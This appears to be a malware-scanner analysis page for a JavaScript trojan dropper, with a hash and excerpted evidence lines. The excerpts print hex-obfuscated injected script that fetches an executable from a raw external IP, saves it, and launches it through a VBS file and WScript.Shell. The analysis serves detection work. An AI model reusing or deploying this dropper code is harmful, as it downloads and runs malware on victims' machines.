Hostile 100% javascript Download

Trojan-Dropper.JS.Agent.l

Downloads and executes remote payload

VBS launcher with C2 download and persistenceJavaScript raw external-IP URL literal
SHA-256382d4eb0d5c3119803efca25f4d0afe37b08217b13df1f10924b93005c4209b0

Evidence

JavaScript raw external-IP URL literal lines 1–10
1<noscript>
2<iframe src=*></iframe>
3</noscript>
4<script>
5document.writeln("<script language=\"javaScript\">");
6document.writeln("Microsoft=\"http://222.180.37.146/down/123.exe\"");
7document.writeln("Microsoft1=\"\\x4D\\x69\\x63\\x72\\x6F\\x73\\x6F\\x66\\x74\\x2E\\x63\\x6F\\x6D\"");
8document.writeln("Microsoft2=\"\\x4D\\x69\\x63\\x72\\x6F\\x73\\x6F\\x66\\x74\\x2E\\x76\\x62\\x73\"");
9document.writeln("bianyuanzhe=\"\\x42\\x44\\x39\\x36\\x43\\x35\\x35\\x36\\x2D\\x36\\x35\\x41\\x33\\x2D\\x31\\x31\\x44\\x30\\x2D\\x39\\x38\\x33\\x41\\x2D\\x30\\x30\\x43\\x30\\x34\\x46\\x43\\x32\\x39\\x45\\x33\\x36\"");
10document.writeln("function Fan(love) …
Invokes the WSH Shell Run method lines 85–100
85:22… r kn;");
86document.writeln(" kn=\"Set shell = createobject(\\\"\\x57\\x73\\x63\\x72\\x69\\x70\\x74\\x2E\\x53\\x68\\x65\\x6C\\x6C\\\")\";");
87document.writeln(" kn=kn+\"\\n\"+\"Shell.run(\\\"\"+Lang+\"\\\")\";");
88document.writeln(" kn=kn+\"\\n\"+\"set Shell=Nothing\";");
89document.writeln(" ip.mode=3;");
90document.writeln(" ip.open();");
91document.writeln(" ip.charset = \"\\x47\\x42\\x32\\x33\\x31\\x32\";");
92document.writeln(" ip.position = ip.Size;");
93document.writeln(" ip.writetext=kn;");
94document.writeln(" ip.SaveToFile(Zhan,2);");
95document.writeln(" try");
96document.writeln(" {");
⋯4 lines
MSXML ServerXMLHTTP client ProgID lines 100–107
100:21… {");
101document.writeln(" try");
102document.writeln(" {");
103document.writeln(" vip=new ActiveXObject(\"\\x4D\\x69\\x63\\x72\\x6F\\x73\\x6F\\x66\\x74\\x2E\\x78\\x6D\\x4C\\x68\\x74\\x74\\x70\");");
104document.writeln(" }");
105document.writeln(" catch(china)");
106document.writeln(" {");
107document.writeln(" vip=new ActiveXObject(\"\\x4D\\x53\\x58\\x4D\\x4C\\x32\\x2E\\x53\\x65\\x72\\x76\\x65\\x72\\x78\\x6D\\x4C\\x68\\x74\\x74\\x70 …
References JavaScript responseBody property lines 111–118
111:3… cument.writeln(" Fan(\'\');");
112document.writeln(" vip.open(\"\\x47\\x45\\x54\",url,false);");
113document.writeln(" vip.send(null);");
114document.writeln(" kn=vip.responsebody;");
115document.writeln(" Fan(\'\');");
116document.writeln(" bianyuan.type=1;");
117document.writeln(" bianyuan.mode=3;");
118document.writeln(" …
References the WScript.Shell COM object lines 152–160
152:11… riteln(" if (chenzi)");
153document.writeln(" {");
154document.writeln(" try");
155document.writeln(" {");
156document.writeln(" var b=CreateO(chenzi,\"\\x57\\x53\\x63\\x72\\x69\\x70\\x74\\x2E\\x53\\x68\\x65\\x6C\\x6C\");");
157document.writeln(" if (b)");
158document.writeln(" {");
159document.writeln(" Fan(\'\');");
160document.writeln(" …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.